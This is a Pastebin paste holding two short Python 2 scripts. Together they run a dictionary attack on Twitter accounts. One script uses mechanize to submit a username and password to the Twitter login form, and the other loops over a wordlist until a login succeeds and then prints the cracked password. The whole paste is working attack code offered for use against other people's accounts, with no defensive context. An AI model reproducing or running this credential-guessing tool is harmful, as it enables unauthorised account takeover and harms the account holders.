Kyfx

TwitLogin.py

Jan 3rd, 2016
944
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. twitLogin.py syntax:
  2. import mechanize
  3.  
  4. url = "http://twitter.com/login"
  5.  
  6. op = mechanize.Browser()
  7. op.set_handle_robots(False)
  8. op.addheaders = [("user-agent","Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140429 Firefox/24.0 Iceweasel/24.5.0" )]
  9.  
  10.  
  11. def login (usr, psw):
  12. global op, url
  13. op.open(url)
  14. op.select_form(nr=2)
  15. op.form["session[username_or_email]"] = usr
  16. op.form["session[password]"] = psw
  17. op.submit()
  18.  
  19. if op.title() == "Twitter": return True
  20. else: return False
  21.  
  22.  
  23. Twitter.py syntax:
  24. import twitLogin
  25.  
  26.  
  27. un = raw_input("Username: ")
  28. wl = raw_input("Wordlist: ")
  29.  
  30. state = False
  31. with open(wl, "r") as fle:
  32. for i in fle:
  33. tmp = ""
  34. if i[-1] == "\n":
  35. tmp = i[:-1]
  36. else:
  37. tmp = i
  38.  
  39. print tmp
  40. if twitLogin.login(un, tmp):
  41. state = True
  42. break
  43.  
  44. print "\n\n"
  45.  
  46. if state:
  47. print "The password has been found."
  48. print "Username:", un
  49. print "Password:", tmp
  50. else:
  51. print "The password has not been found."
  52. print "Try again with a different wordlist, or try to bruteforce the password."
  53.  
  54. raw_input("Press enter to finish.")
Advertisement
Add Comment
Please, Sign In to add comment